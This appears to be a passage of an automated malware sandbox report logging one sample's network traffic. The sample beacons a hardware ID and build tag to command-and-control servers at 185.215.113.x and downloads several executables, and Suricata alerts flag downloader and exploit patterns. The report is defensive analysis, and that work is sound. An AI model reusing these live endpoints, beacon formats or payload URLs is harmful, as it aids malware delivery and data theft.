name="hwid"A3FAC9C5A5263050457358------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="build"tale------GDBKKFHIEGDHJKECAAKK--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 38 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002859001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBFCBKFIDHIDHDHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 41 43 39 43 35 41 35 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------ECGDBFCBKFIDHIDHDHIEContent-Disposition: form-data; name="hwid"A3FAC9C5A5263050457358------ECGDBFCBKFIDHIDHDHIEContent-Disposition: form-data; name="build"tale------ECGDBFCBKFIDHIDHDHIE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 38 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002860001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 41 43 39 43 35 41 35 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 2d 2d 0d 0a Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="hwid"A3FAC9C5A5263050457358------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="build"tale------EHIDAKECFIEBGDHJEBKK--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 41 43 39 43 35 41 35 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="hwid"A3FAC9C5A5263050457358------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="build"tale------CBAKJEHDBGHIEBGCGDGH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 41 43 39 43 35 41 35 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="hwid"A3FAC9C5A5263050457358------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build"tale------FCBAECGIEBKKFHIDAKEC--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49712 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49713 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49730 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49731 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49734 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49733 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49735 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49736 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49739 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49740 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49742 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49745 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49746 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49746 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49749 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49751 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49756 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49759 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49763 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49775 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49778 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49785 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49788 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49790 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49787 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53858 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53860 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53862 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53864 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53867 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53869 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53865 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:53871 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:53870 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.8:49714
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.8:49723
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
